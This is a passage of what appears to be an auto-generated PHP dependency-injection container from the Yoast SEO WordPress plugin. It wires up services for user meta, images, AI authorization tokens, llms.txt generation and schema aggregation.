\Yoast\WP\SEO\User_Meta\User_Interface\Additional_Contactmethods_Integration(($this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector'] ?? $this->getAdditionalContactmethodsCollectorService())); } /** * Gets the public 'Yoast\WP\SEO\User_Meta\User_Interface\Cleanup_Integration' shared autowired service. * * @return \Yoast\WP\SEO\User_Meta\User_Interface\Cleanup_Integration */ protected function getCleanupIntegration2Service() { return $this->services['Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Cleanup_Integration'] = new \Yoast\WP\SEO\User_Meta\User_Interface\Cleanup_Integration(new \Yoast\WP\SEO\User_Meta\Application\Cleanup_Service(($this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector'] ?? $this->getAdditionalContactmethodsCollectorService()), ($this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector'] ?? $this->getCustomMetaCollectorService()), new \Yoast\WP\SEO\User_Meta\Infrastructure\Cleanup_Repository())); } /** * Gets the public 'Yoast\WP\SEO\User_Meta\User_Interface\Custom_Meta_Integration' shared autowired service. * * @return \Yoast\WP\SEO\User_Meta\User_Interface\Custom_Meta_Integration */ protected function getCustomMetaIntegrationService() { return $this->services['Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Custom_Meta_Integration'] = new \Yoast\WP\SEO\User_Meta\User_Interface\Custom_Meta_Integration(($this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector'] ?? $this->getCustomMetaCollectorService())); } /** * Gets the public 'Yoast\WP\SEO\User_Profiles_Additions\User_Interface\User_Profiles_Additions_Ui' shared autowired service. * * @return \Yoast\WP\SEO\User_Profiles_Additions\User_Interface\User_Profiles_Additions_Ui */ protected function getUserProfilesAdditionsUiService() { return $this->services['Yoast\\WP\\SEO\\User_Profiles_Additions\\User_Interface\\User_Profiles_Additions_Ui'] = new \Yoast\WP\SEO\User_Profiles_Additions\User_Interface\User_Profiles_Additions_Ui(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Values\Images' shared autowired service. * * @return \Yoast\WP\SEO\Values\Images */ protected function getImagesService() { return $this->services['Yoast\\WP\\SEO\\Values\\Images'] = new \Yoast\WP\SEO\Values\Images(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions' shared autowired service. * * @return \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions */ protected function getIndexableBuilderVersionsService() { return $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions(); } /** * Gets the public 'Yoast\WP\SEO\Values\Open_Graph\Images' shared autowired service. * * @return \Yoast\WP\SEO\Values\Open_Graph\Images */ protected function getImages2Service() { $this->services['Yoast\\WP\\SEO\\Values\\Open_Graph\\Images'] = $instance = new \Yoast\WP\SEO\Values\Open_Graph\Images(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper()))); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] ?? $this->getImageHelper2Service())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Values\Twitter\Images' shared autowired service. * * @return \Yoast\WP\SEO\Values\Twitter\Images */ protected function getImages3Service() { $this->services['Yoast\\WP\\SEO\\Values\\Twitter\\Images'] = $instance = new \Yoast\WP\SEO\Values\Twitter\Images(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper()))); $instance->set_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] ?? $this->getImageHelper4Service())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Wrappers\WP_Query_Wrapper' shared autowired service. * * @return \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper */ protected function getWPQueryWrapperService() { return $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper(); } /** * Gets the public 'Yoast\WP\SEO\Wrappers\WP_Remote_Handler' shared autowired service. * * @return \Yoast\WP\SEO\Wrappers\WP_Remote_Handler */ protected function getWPRemoteHandlerService() { return $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] = new \Yoast\WP\SEO\Wrappers\WP_Remote_Handler(); } /** * Gets the public 'Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper' shared autowired service. * * @return \Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper */ protected function getWPRewriteWrapperService() { return $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper(); } /** * Gets the public 'Yoast_Notification_Center' shared service. * * @return \Yoast_Notification_Center */ protected function getYoastNotificationCenterService() { return $this->services['Yoast_Notification_Center'] = \Yoast_Notification_Center::get(); } /** * Gets the public 'wpdb' shared service. * * @return \wpdb */ protected function getWpdbService() { return $this->services['wpdb'] = \Yoast\WP\SEO\WordPress\Wrapper::get_wpdb(); } /** * Gets the private 'Yoast\WP\SEO\AI_Authorization\Infrastructure\Access_Token_User_Meta_Repository' shared autowired service. * * @return \Yoast\WP\SEO\AI_Authorization\Infrastructure\Access_Token_User_Meta_Repository */ protected function getAccessTokenUserMetaRepositoryService() { return $this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Access_Token_User_Meta_Repository'] = new \Yoast\WP\SEO\AI_Authorization\Infrastructure\Access_Token_User_Meta_Repository(($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\AI_Authorization\Infrastructure\Code_Verifier_User_Meta_Repository' shared autowired service. * * @return \Yoast\WP\SEO\AI_Authorization\Infrastructure\Code_Verifier_User_Meta_Repository */ protected function getCodeVerifierUserMetaRepositoryService() { return $this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Code_Verifier_User_Meta_Repository'] = new \Yoast\WP\SEO\AI_Authorization\Infrastructure\Code_Verifier_User_Meta_Repository(($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\AI_Authorization\Infrastructure\Refresh_Token_User_Meta_Repository' shared autowired service. * * @return \Yoast\WP\SEO\AI_Authorization\Infrastructure\Refresh_Token_User_Meta_Repository */ protected function getRefreshTokenUserMetaRepositoryService() { return $this->privates['Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Refresh_Token_User_Meta_Repository'] = new \Yoast\WP\SEO\AI_Authorization\Infrastructure\Refresh_Token_User_Meta_Repository(($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications' shared autowired service. * * @return \Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications */ protected function getContentTypeVisibilityDismissNotificationsService() { return $this->privates['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications'] = new \Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\Dashboard\Application\Score_Results\Current_Scores_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\Application\Score_Results\Current_Scores_Repository */ protected function getCurrentScoresRepositoryService() { return $this->privates['Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository'] = new \Yoast\WP\SEO\Dashboard\Application\Score_Results\Current_Scores_Repository(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Groups\Score_Group_Link_Collector()); } /** * Gets the private 'Yoast\WP\SEO\Dashboard\Application\Taxonomies\Taxonomies_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\Application\Taxonomies\Taxonomies_Repository */ protected function getTaxonomiesRepositoryService() { $a = new \Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies\Taxonomies_Collector(new \Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies\Taxonomy_Validator()); return $this->privates['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository'] = new \Yoast\WP\SEO\Dashboard\Application\Taxonomies\Taxonomies_Repository($a, new \Yoast\WP\SEO\Dashboard\Application\Filter_Pairs\Filter_Pairs_Repository($a, new \Yoast\WP\SEO\Dashboard\Domain\Filter_Pairs\Product_Category_Filter_Pair())); } /** * Gets the private 'Yoast\WP\SEO\Dashboard\Infrastructure\Configuration\Permanently_Dismissed_Site_Kit_Configuration_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\Infrastructure\Configuration\Permanently_Dismissed_Site_Kit_Configuration_Repository */ protected function getPermanentlyDismissedSiteKitConfigurationRepositoryService() { return $this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Permanently_Dismissed_Site_Kit_Configuration_Repository'] = new \Yoast\WP\SEO\Dashboard\Infrastructure\Configuration\Permanently_Dismissed_Site_Kit_Configuration_Repository(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\Dashboard\Infrastructure\Configuration\Site_Kit_Consent_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\Infrastructure\Configuration\Site_Kit_Consent_Repository */ protected function getSiteKitConsentRepositoryService() { return $this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Site_Kit_Consent_Repository'] = new \Yoast\WP\SEO\Dashboard\Infrastructure\Configuration\Site_Kit_Consent_Repository(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\Dashboard\Infrastructure\Content_Types\Content_Types_Collector' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\Infrastructure\Content_Types\Content_Types_Collector */ protected function getContentTypesCollectorService() { return $this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector'] = new \Yoast\WP\SEO\Dashboard\Infrastructure\Content_Types\Content_Types_Collector(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); } /** * Gets the private 'Yoast\WP\SEO\Dashboard\Infrastructure\Integrations\Site_Kit' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\Infrastructure\Integrations\Site_Kit */ protected function getSiteKitService() { return $this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Integrations\\Site_Kit'] = new \Yoast\WP\SEO\Dashboard\Infrastructure\Integrations\Site_Kit(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Site_Kit_Consent_Repository'] ?? $this->getSiteKitConsentRepositoryService()), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Permanently_Dismissed_Site_Kit_Configuration_Repository'] ?? $this->getPermanentlyDismissedSiteKitConfigurationRepositoryService()), new \Yoast\WP\SEO\Dashboard\Infrastructure\Connection\Site_Kit_Is_Connected_Call(), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Site_Kit_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Site_Kit_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Site_Kit_Conditional()))); } /** * Gets the private 'Yoast\WP\SEO\Dashboard\Infrastructure\Tracking\Setup_Steps_Tracking_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\Infrastructure\Tracking\Setup_Steps_Tracking_Repository */ protected function getSetupStepsTrackingRepositoryService() { return $this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Tracking\\Setup_Steps_Tracking_Repository'] = new \Yoast\WP\SEO\Dashboard\Infrastructure\Tracking\Setup_Steps_Tracking_Repository(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\Introductions\Application\Introductions_Collector' shared autowired service. * * @return \Yoast\WP\SEO\Introductions\Application\Introductions_Collector */ protected function getIntroductionsCollectorService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()); $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())); $c = ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())); return $this->privates['Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector'] = new \Yoast\WP\SEO\Introductions\Application\Introductions_Collector(new \Yoast\WP\SEO\Introductions\Application\AI_Brand_Insights_Post_Launch($a), new \Yoast\WP\SEO\Introductions\Application\AI_Brand_Insights_Pre_Launch($a), new \Yoast\WP\SEO\Introductions\Application\Ai_Fix_Assessments_Upsell($b, $c), new \Yoast\WP\SEO\Introductions\Application\Black_Friday_Announcement($a, ($this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager'] ?? $this->getPromotionManagerService()), $c), new \Yoast\WP\SEO\Introductions\Application\Delayed_Premium_Upsell($a, ($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Introductions_Seen_Repository'] ?? $this->getIntroductionsSeenRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), $c), new \Yoast\WP\SEO\Introductions\Application\Google_Docs_Addon_Upsell($b, $c, $a), new \Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Aggregator_Announcement($a)); } /** * Gets the private 'Yoast\WP\SEO\Llms_Txt\Application\File\Commands\Populate_File_Command_Handler' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\Application\File\Commands\Populate_File_Command_Handler */ protected function getPopulateFileCommandHandlerService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())); return $this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Commands\\Populate_File_Command_Handler'] = new \Yoast\WP\SEO\Llms_Txt\Application\File\Commands\Populate_File_Command_Handler($a, ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_File_System_Adapter'] ?? ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_File_System_Adapter'] = new \Yoast\WP\SEO\Llms_Txt\Infrastructure\File\WordPress_File_System_Adapter())), new \Yoast\WP\SEO\Llms_Txt\Application\Markdown_Builders\Markdown_Builder(new \Yoast\WP\SEO\Llms_Txt\Domain\Markdown\Llms_Txt_Renderer(), new \Yoast\WP\SEO\Llms_Txt\Application\Markdown_Builders\Intro_Builder(), new \Yoast\WP\SEO\Llms_Txt\Application\Markdown_Builders\Title_Builder(new \Yoast\WP\SEO\Llms_Txt\Infrastructure\Markdown_Services\Title_Adapter(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Runner())))), new \Yoast\WP\SEO\Llms_Txt\Application\Markdown_Builders\Description_Builder(new \Yoast\WP\SEO\Llms_Txt\Infrastructure\Markdown_Services\Description_Adapter(($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] ?? $this->getMetaSurfaceService()))), new \Yoast\WP\SEO\Llms_Txt\Application\Markdown_Builders\Link_Lists_Builder(new \Yoast\WP\SEO\Llms_Txt\Infrastructure\Markdown_Services\Content_Types_Collector(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), new \Yoast\WP\SEO\Llms_Txt\Infrastructure\Content\Post_Collection_Factory(($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Content\\Manual_Post_Collection'] ?? $this->getManualPostCollectionService()), ($this->services['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Content\\Automatic_Post_Collection'] ?? $this->getAutomaticPostCollectionService())), $a), new \Yoast\WP\SEO\Llms_Txt\Infrastructure\Markdown_Services\Terms_Collector(($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService()))), new \Yoast\WP\SEO\Llms_Txt\Application\Markdown_Escaper(), new \Yoast\WP\SEO\Llms_Txt\Application\Markdown_Builders\Optional_Link_List_Builder(new \Yoast\WP\SEO\Llms_Txt\Infrastructure\Markdown_Services\Sitemap_Link_Collector())), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_Llms_Txt_Permission_Gate'] ?? $this->getWordPressLlmsTxtPermissionGateService())); } /** * Gets the private 'Yoast\WP\SEO\Llms_Txt\Application\File\Commands\Remove_File_Command_Handler' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\Application\File\Commands\Remove_File_Command_Handler */ protected function getRemoveFileCommandHandlerService() { return $this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Commands\\Remove_File_Command_Handler'] = new \Yoast\WP\SEO\Llms_Txt\Application\File\Commands\Remove_File_Command_Handler(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_File_System_Adapter'] ?? ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_File_System_Adapter'] = new \Yoast\WP\SEO\Llms_Txt\Infrastructure\File\WordPress_File_System_Adapter())), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_Llms_Txt_Permission_Gate'] ?? $this->getWordPressLlmsTxtPermissionGateService())); } /** * Gets the private 'Yoast\WP\SEO\Llms_Txt\Application\File\Llms_Txt_Cron_Scheduler' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\Application\File\Llms_Txt_Cron_Scheduler */ protected function getLlmsTxtCronSchedulerService() { return $this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Llms_Txt_Cron_Scheduler'] = new \Yoast\WP\SEO\Llms_Txt\Application\File\Llms_Txt_Cron_Scheduler(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\Llms_Txt\Infrastructure\Content\Manual_Post_Collection' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\Infrastructure\Content\Manual_Post_Collection */ protected function getManualPostCollectionService() { return $this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Content\\Manual_Post_Collection'] = new \Yoast\WP\SEO\Llms_Txt\Infrastructure\Content\Manual_Post_Collection(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] ?? $this->getMetaSurfaceService())); } /** * Gets the private 'Yoast\WP\SEO\Llms_Txt\Infrastructure\File\WordPress_Llms_Txt_Permission_Gate' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\Infrastructure\File\WordPress_Llms_Txt_Permission_Gate */ protected function getWordPressLlmsTxtPermissionGateService() { return $this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_Llms_Txt_Permission_Gate'] = new \Yoast\WP\SEO\Llms_Txt\Infrastructure\File\WordPress_Llms_Txt_Permission_Gate(($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_File_System_Adapter'] ?? ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\File\\WordPress_File_System_Adapter'] = new \Yoast\WP\SEO\Llms_Txt\Infrastructure\File\WordPress_File_System_Adapter())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\Schema_Aggregator\Application\Aggregate_Site_Schema_Command_Handler' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\Application\Aggregate_Site_Schema_Command_Handler */ protected function getAggregateSiteSchemaCommandHandlerService() { $a = new \Yoast\WP\SEO\Schema_Aggregator\Application\Enhancement\Article_Schema_Enhancer(); $a->set_article_config(new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Enhancement\Article_Config()); $b = new \Yoast\WP\SEO\Schema_Aggregator\Application\Enhancement\Person_Schema_Enhancer(); $b->set_person_config(new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Enhancement\Person_Config()); $c = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()); return $this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Aggregate_Site_Schema_Command_Handler'] = new \Yoast\WP\SEO\Schema_Aggregator\Application\Aggregate_Site_Schema_Command_Handler(new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Pieces\Schema_Piece_Repository(($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] ?? $this->getMetaTagsContextMemoizerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Meta_Tags_Context_Memoizer_Adapter(), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Aggregator_Config'] ?? $this->getAggregatorConfigService()), new \Yoast\WP\SEO\Schema_Aggregator\Application\Enhancement\Schema_Enhancement_Factory($a, $b), new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Indexable_Repository\Indexable_Repository_Factory(new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Indexable_Repository\Indexable_Repository($c), new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Indexable_Repository\WordPress_Query_Repository(($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService()), $c)), new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Pieces\WordPress_Global_State_Adapter(), new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Pieces\Edd_Schema_Piece_Repository(($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\EDD_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\EDD_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\EDD_Conditional())), ($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] ?? $this->getMetaSurfaceService())), new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Pieces\Woo_Schema_Piece_Repository(($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional())))), new \Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Pieces_Aggregator(new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Filtering_Strategy_Factory(), new \Yoast\WP\SEO\Schema_Aggregator\Application\Properties_Merger()), new \Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Aggregator_Response_Composer()); } /** * Gets the private 'Yoast\WP\SEO\Schema_Aggregator\Application\Cache\Manager' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\Application\Cache\Manager */ protected function getManagerService() { return $this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Manager'] = new \Yoast\WP\SEO\Schema_Aggregator\Application\Cache\Manager(($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] ?? ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config()))); } /** * Gets the private 'Yoast\WP\SEO\Schema_Aggregator\Application\Cache\Xml_Manager' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\Application\Cache\Xml_Manager */ protected function getXmlManagerService() { return $this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Xml_Manager'] = new \Yoast\WP\SEO\Schema_Aggregator\Application\Cache\Xml_Manager(($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] ?? ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config()))); } /** * Gets the private 'Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Aggregator_Config' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Aggregator_Config */ protected function getAggregatorConfigService() { return $this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Aggregator_Config'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Aggregator_Config(($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); } /** * Gets the private 'Yoast\WP\SEO\Task_List\Application\Tasks\Set_Search_Appearance_Templates' shared autowired service. * * @return \Yoast\WP\SEO\Task_List\Application\Tasks\Set_Search_Appearance_Templates */ protected function getSetSearchAppearanceTemplatesService() { return $this->privates['Yoast\\WP\\SEO\\Task_List\\Application\\Tasks\\Set_Search_Appearance_Templates'] = new \Yoast\WP\SEO\Task_List\Application\Tasks\Set_Search_Appearance_Templates(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Route_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Route_Helper'] = new \Yoast\WP\SEO\Helpers\Route_Helper()))); } /** * Gets the private 'Yoast\WP\SEO\Task_List\Infrastructure\Tasks_Collectors\Tasks_Collector' shared autowired service. * * @return 